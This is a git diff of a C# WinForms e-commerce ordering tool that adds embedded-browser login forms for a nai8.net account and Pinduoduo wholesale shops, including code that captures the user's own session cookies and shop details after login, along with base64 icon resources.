+ //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/ShopForms/OAForm.Designer.cs b/29WxOrder/ShopForms/OAForm.Designer.cs new file mode 100644 index 0000000..ae993bd --- /dev/null +++ b/29WxOrder/ShopForms/OAForm.Designer.cs @@ -0,0 +1,65 @@ + +namespace _29WxOrder.ShopForms +{ + partial class OAForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.panel1 = new System.Windows.Forms.Panel(); + this.SuspendLayout(); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Location = new System.Drawing.Point(0, 0); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(800, 450); + this.panel1.TabIndex = 3; + // + // OAForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(800, 450); + this.Controls.Add(this.panel1); + this.Name = "OAForm"; + this.Text = "OAForm"; + this.TitleText = "OAForm"; + this.Load += new System.EventHandler(this.OAForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + } +} \ No newline at end of file diff --git a/29WxOrder/ShopForms/OAForm.cs b/29WxOrder/ShopForms/OAForm.cs new file mode 100644 index 0000000..e906f18 --- /dev/null +++ b/29WxOrder/ShopForms/OAForm.cs @@ -0,0 +1,80 @@ +using AllBase; +using CefSharp; +using CefSharp.WinForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.ShopForms +{ + public partial class OAForm : BaseForm + { + public OAForm() + { + InitializeComponent(); + } + public ChromiumWebBrowser cefWebBrowser = null; + public string WebUrl = "http://dd.nai8.net/?obj=public/login&act=client_login&"; + private void OAForm_Load(object sender, EventArgs e) + { + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(WebUrl + Work.UserLogin.GetSignaturex(), false); + CustomResourceRequestHandler resourceRequestHandler = new CustomResourceRequestHandler(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + var t = CEFBrowser.SetCookieAsync("nai8.net", "", cefWebBrowser.RequestContext.GetCookieManager(null)); + this.panel1.Controls.Add(cefWebBrowser); + cefWebBrowser.SendToBack(); + } + else + { + CEFBrowser.DeleteCookie(cefWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync("nai8.net", "", cefWebBrowser.RequestContext.GetCookieManager(null)); + cefWebBrowser.Load(WebUrl); + } + } + + private void CefWebBrowser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + //class="y-guide" + try + { + + } + catch (Exception) + { + + } + + } + + private void CefWebBrowser_AddressChanged(object sender, AddressChangedEventArgs e) + { + + } + + private void RequestHandler_ResourceLoadComplete(object sender, string arg1, string arg2, string arg3) + { + if (GetHtml.UrlDecode(arg3).Contains("登录成功")) + { + cefWebBrowser.Load("http://dd.nai8.net"); + } + } + + + } +} diff --git a/29WxOrder/ShopForms/OAForm.resx b/29WxOrder/ShopForms/OAForm.resx new file mode 100644 index 0000000..1af7de1 --- /dev/null +++ b/29WxOrder/ShopForms/OAForm.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/29WxOrder/ShopForms/PddShopLoginForm.Designer.cs b/29WxOrder/ShopForms/PddShopLoginForm.Designer.cs new file mode 100644 index 0000000..f8eb969 --- /dev/null +++ b/29WxOrder/ShopForms/PddShopLoginForm.Designer.cs @@ -0,0 +1,74 @@ + +namespace _29WxOrder.ShopForms +{ + partial class PddShopLoginForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PddShopLoginForm)); + this.panel1 = new System.Windows.Forms.Panel(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(1223, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Location = new System.Drawing.Point(2, 34); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(1251, 605); + this.panel1.TabIndex = 4; + // + // PddShopLoginForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1255, 641); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.IsShowMax = true; + this.Name = "PddShopLoginForm"; + this.Text = "拼多多批发登录"; + this.TitleText = "拼多多批发登录"; + this.Load += new System.EventHandler(this.PddShopLoginForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + } +} \ No newline at end of file diff --git a/29WxOrder/ShopForms/PddShopLoginForm.cs b/29WxOrder/ShopForms/PddShopLoginForm.cs new file mode 100644 index 0000000..c13f6ea --- /dev/null +++ b/29WxOrder/ShopForms/PddShopLoginForm.cs @@ -0,0 +1,209 @@ +using AllBase.Model; +using CefSharp; +using CefSharp.WinForms; +using NaiBa.CefHelper; +using NaiBa.CefHelper.Handler; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work.BaseForms; + +namespace _29WxOrder.ShopForms +{ + public partial class PddShopLoginForm : BaseForm + { + public ChromiumWebBrowser cefWebBrowser = null; + public string webUrl = "https://mms.pinduoduo.com/login/sso?platform=wholesale&redirectUrl=https%3A%2F%2Fpifa.pinduoduo.com%2Fclint%2Fapi%2Flogin%3Fredirect%3Dhttps%253A%252F%252Fpifa.pinduoduo.com"; + public string cookies = ""; + public string cookiesJson = ""; + public PddPifaShopInfo pddShop; + List listCookie = new List(); + public bool isPifaLogin = false; + + public PddShopLoginForm() + { + InitializeComponent(); + } + + private void PddShopLoginForm_Load(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(this.cookies)) + { + this.cookies = string.IsNullOrEmpty(pddShop?.CookieStr) ? "" : pddShop.CookieStr; + this.cookiesJson = string.IsNullOrEmpty(pddShop?.CookiesJson) ? "" : pddShop.CookiesJson; + } + if (!string.IsNullOrEmpty(this.cookies)) + { + if (webUrl.Contains("mms.pinduoduo.com/login")) + webUrl = "https://pifa.pinduoduo.com"; + } + + if (cefWebBrowser == null) + { + cefWebBrowser = CEFBrowser.CreateChromiumWebBrowser(webUrl, false); + + CustomResourceRequestHandler resourceRequestHandler = new CustomResourceRequestHandler(); + resourceRequestHandler.ResourceLoadCompleteEvent += RequestHandler_ResourceLoadComplete; + cefWebBrowser.RequestHandler = new CustomRequestHandler(resourceRequestHandler); + + cefWebBrowser.KeyboardHandler = new KeyboardHandler(); + + Helper.LifeSpanHandlerLocal lifeSpanHandler = new Helper.LifeSpanHandlerLocal(Helper.PopWindowType.NewTitleWindow); + lifeSpanHandler.parent = cefWebBrowser; + lifeSpanHandler.OnPop += LifeSpanHandler_OnPop; + cefWebBrowser.LifeSpanHandler = lifeSpanHandler; + + cefWebBrowser.AddressChanged += CefWebBrowser_AddressChanged; + cefWebBrowser.FrameLoadEnd += CefWebBrowser_FrameLoadEnd; + cefWebBrowser.Dock = DockStyle.Fill; + + this.panel1.Controls.Add(cefWebBrowser); + + if (!string.IsNullOrEmpty(this.cookiesJson)) + { + var lstCookie = AllBase.JsonHelper.DeserializeJsonToList(cookiesJson); + foreach (var cook in lstCookie) + { + CEFBrowser.SetCookieAsync(cook.Domain.Trim('.'), cook.Name + "=" + cook.Value + ";", cefWebBrowser.RequestContext.GetCookieManager(null)); + } + } + cefWebBrowser.SendToBack(); + } + else + { + CEFBrowser.DeleteCookie(cefWebBrowser.RequestContext.GetCookieManager(null)); + CEFBrowser.SetCookieAsync("pinduoduo.com", this.cookies, cefWebBrowser.RequestContext.GetCookieManager(null)); + cefWebBrowser.Load(webUrl); + } + + Task.Run(() => + { + while (this.Created) + { + Thread.Sleep(1000); + GetLoginSuccess(); + } + }); + } + + private void GetLoginSuccess() + { + if (this.Created && isPifaLogin && this.cefWebBrowser.GetMainFrame().Url.Contains("login")) + { + var jsStr = "function login_pdd() { " + + " if (document.getElementsByClassName('avatar').length > 0) { " + + " document.getElementsByClassName('avatar')[0].click();" + + " }" + + "}" + + "login_pdd();"; + cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + } + + if (this.Created && isPifaLogin && this.cefWebBrowser.GetMainFrame().Url.StartsWith("https://pifa.pinduoduo.com")) + { + do + { + Thread.Sleep(500); + } + while (cefWebBrowser.IsLoading); + Thread.Sleep(5000); + + ICookieManager cookieManager = cefWebBrowser.GetCookieManager(); + listCookie = cookieManager.VisitAllCookiesAsync().Result; + + if (listCookie.Count > 0 && listCookie.Any(c => c.Name == "SUB_PASS_ID")) + { + this.cefWebBrowser.Load("https://mms.pinduoduo.com"); + do + { + Thread.Sleep(500); + } + while (cefWebBrowser.IsLoading); + + var jsStr = "document.getElementsByClassName('user-name')[0].innerHTML;"; + var response = cefWebBrowser.GetBrowser().MainFrame.EvaluateScriptAsync(jsStr); + response.Wait(2000); + if (!string.IsNullOrEmpty(response.Result?.Result?.ToString())) + { + var userStr = response.Result?.Result?.ToString(); + PddPifaShopInfo shop = new PddPifaShopInfo(); + shop.PddId = AllBase.BaseRegex.GetMatchRegexString(ref userStr, "class=\"id\" title=\"([\\s\\S]+?)\""); + shop.PddShopName = AllBase.BaseRegex.GetMatchRegexString(ref userStr, "class=\"name\" title=\"([\\s\\S]+?)\""); + shop.CookiesJson = AllBase.JsonHelper.SerializeObject(listCookie); + if (!string.IsNullOrEmpty(shop.PddId) && !string.IsNullOrEmpty(shop.PddShopName)) + { + AllBase.Helper.GlobalConfig.LstPddPifaShop.RemoveAll(s => s?.PddId == shop.PddId); + AllBase.Helper.GlobalConfig.LstPddPifaShop.Add(shop); + + StartUp.SavePddShops(); + MainForm.instance.ReflashBuyUsers(); + Invoke(new Action(() => + { + cefWebBrowser.Load("https://pifa.pinduoduo.com"); + })); + BaseMsgForm.ShowInfo("登录成功", "提示"); + + if (this.Created) + { + Invoke(new Action(() => + { + this.Close(); + return; + })); + } + } + } + } + } + } + + private void LifeSpanHandler_OnPop(object sender, Helper.PopData e) + { + var targetUrl = e.Url; + var lifeHandler = sender as Helper.LifeSpanHandlerLocal; + + Task.Run(() => + { + if (lifeHandler.parent != null) + { + var _cookies = CEFBrowser.GetCookieList("", lifeHandler.parent.RequestContext.GetCookieManager(null)); + var _cookieStr = ""; + foreach (var cookie in _cookies) + { + _cookieStr += cookie.Name + "=" + cookie.Value + ";"; + } + Invoke(new Action(() => + { + PddShopLoginForm shopBrower = new PddShopLoginForm(); + shopBrower.webUrl = targetUrl; + shopBrower.pddShop = this.pddShop; + shopBrower.Show(); + })); + } + }); + } + private void CefWebBrowser_FrameLoadEnd(object sender, FrameLoadEndEventArgs e) + { + string url = e.Url; + string html = ""; + var tasksource = e.Frame.GetSourceAsync(); + + + } + private void RequestHandler_ResourceLoadComplete(object sender, string arg1, string arg2, string arg3) + { + + } + private void CefWebBrowser_AddressChanged(object sender, AddressChangedEventArgs e) + { + + } + } +} diff --git a/29WxOrder/ShopForms/PddShopLoginForm.resx b/29WxOrder/ShopForms/PddShopLoginForm.resx new file mode 100644 index 0000000..21e47aa --- /dev/null +++ b/29WxOrder/ShopForms/PddShopLoginForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcwAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + 